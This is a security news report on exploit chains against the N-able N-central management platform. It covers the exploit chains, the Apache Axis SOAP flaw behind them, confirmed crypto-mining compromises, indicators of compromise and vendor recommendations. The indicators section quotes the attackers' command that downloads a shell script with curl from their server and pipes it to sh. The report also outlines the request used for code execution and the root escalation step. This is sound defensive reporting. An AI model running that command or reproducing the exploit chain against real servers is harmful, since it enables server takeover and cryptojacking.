Independent security researcher Sean Bales has published new exploits 4EverAble2Shell and Agent2Shell for the N-able N-central remote management platform which, according to him, successfully work against servers with Hotfix 2 installed (build 2026.4.1.26), released on November 10, 2026 to address the previous set of Able2Shell vulnerabilities. Huntback reports that 21 production N-central servers have already been compromised for Monero cryptocurrency mining, with 19 of them running the latest patched version. Exploitation requires Legacy API to be enabled — a feature that is disabled by default but has been activated in a number of deployments. Administrators of on-premise N-central servers must immediately disable Legacy API and check their infrastructure for signs of compromise.
Technical anatomy of the exploitation chain
The attack is based on the critical vulnerability CVE-2026-90436 in the Apache Axis 1.x component embedded in N-central. According to the official Apache notice, the vulnerability allows an unauthenticated attacker to instantiate arbitrary Java classes via SOAP fault processing. The vulnerability affects all versions of Apache Axis 1.x through 1.4 inclusive — a product that is in End-of-Life status. According to Previdian, the 4EverAble2Shell chain exploits unsafe class instantiation during SOAP fault processing: a specially crafted request triggers loading of the JLine class, leading to command execution under the nable service account. Previdian assigns this vulnerability a CVSS score of 9.8 (Critical); however, it should be noted that the official numeric CNA/NVD score has not been independently confirmed — the Apache notice describes the vulnerability as critical without specifying a numeric rating.
According to Huntback, the observed attack chain consists of three stages:
- Initial code execution — POST requests to the
/dms/services/ServerUIendpoint with a SOAP fault containing anexceptionNamefield specifying thejline.internal.TerminalLineSettingsclass - Privilege escalation — elevation from the nable account to root via the
nable_wrapper.plscript - Payload delivery — downloading and executing a shell script from the attacker’s server
Active exploitation and scale
The situation quickly moved from probing to real-world exploitation. According to Previdian, targeted 4EverAble2Shell exploitation attempts were observed within hours of the PoC code being published, originating from IP address157.20.241[.]16. At the same time, Previdian emphasizes that sensor telemetry records attempts at exploitation and does not prove that each target was successfully compromised.
Huntback, however, reports confirmed cases of compromise: 21 production N-central servers were found in a Monero mining pool, all with rig names in the nc_ format. Of these, 19 servers were running build 2026.4.1.26 — that is, Hotfix 2, released specifically to address the previous vulnerabilities. This fact is critically important: updating to Hotfix 2 alone does not protect against 4EverAble2Shell.
According to Huntback, the compromised servers are distributed across several countries: USA (9), South Africa (4), Canada (4), the United Kingdom, Germany, France and Sweden (1 each). The deployed XMRig miner is configured to use only half of the available CPU cores — most likely to reduce its visibility.
A discrepancy between sources is worth noting: early reports indicated no evidence of successful exploitation, whereas a later Huntback report documents 21 compromised servers. This discrepancy is explained by the time gap between publications but highlights how quickly attackers moved from PoC to real-world attacks.
Indicators of compromise
Based on data from the Huntback report:
Network indicators:
- Outbound connections to
157.20.241[.]16(port 8080, ports 19202–19418) - Connections to
139.99.69[.]109:10128and79.76.51[.]56:39100
Payload URLs:
hxxp://157.20.241[.]16:8080/jup.shhxxp://157.20.241[.]16:8080/xmrig.tgzhxxp://157.20.241[.]16:8080/xvgzhxxp://157.20.241[.]16:8080/ob/cronhithxxp://157.20.241[.]16:8080/ob/fcheck
Privilege escalation script hash:
- SHA-256:
fc4c01fd11bc301cf312830460cfdccc3af9dcfe50c910b86d6a1117bc76c747
Payload delivery command:
mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP]
For detection, it is recommended to correlate SOAP faults sent to /dms/services/ServerUI (especially those whose exceptionName contains jline.internal.TerminalLineSettings) with outbound traffic to the listed IP addresses and mining endpoints.
Impact assessment
N-central is a remote monitoring and management (RMM) platform widely used by managed service providers (MSPs). Compromising an N-central server means more than just infecting a single machine: the attacker gains root access to a host that manages MSP customer endpoints. As Huntback notes, the current payload is a miner, but the level of access obtained allows attackers to deploy arbitrary malware to managed devices.
We have previously written about critical vulnerabilities in N-able N-central. The current situation illustrates a systemic issue: the platform continues to be an attractive target for attackers because of its privileged position in MSP infrastructure.
Recommendations
N-able recommends the following measures:
- Immediately disable Legacy API on all on-premise N-central servers if it has been enabled. This feature is disabled by default and is not recommended by the vendor
- Update Agents and Probes on N-central version 2026.4 HF1 and above — the update changes the communication protocol between Agent and Probe, and updating both components is mandatory
- Check your infrastructure for IOCs — the presence of outbound connections to the listed IP addresses, XMRig processes, scripts in
/tmp - Do not consider updating to Hotfix 2 sufficient — according to Huntback, 19 of the 21 compromised servers were already running this build
According to N-able, cloud (Hosted) N-central environments are not affected by this issue. The company has also restricted a number of features and integrations, including the Intune integration, while additional fixes are being developed.
Apache does not plan to release a standard Axis 1.x version with a fix for CVE-2026-90436 and recommends migrating to another SOAP framework or using a build that includes the official hardening commit.
Administrators of on-premise N-central deployments should treat any detection of the listed IOCs as full server compromise, not as an incident that can be resolved by simple cleanup. The top priority is to immediately disable Legacy API and audit outbound network connections for links to the attacker’s infrastructure. The situation continues to evolve, and N-able is working on additional protective measures.












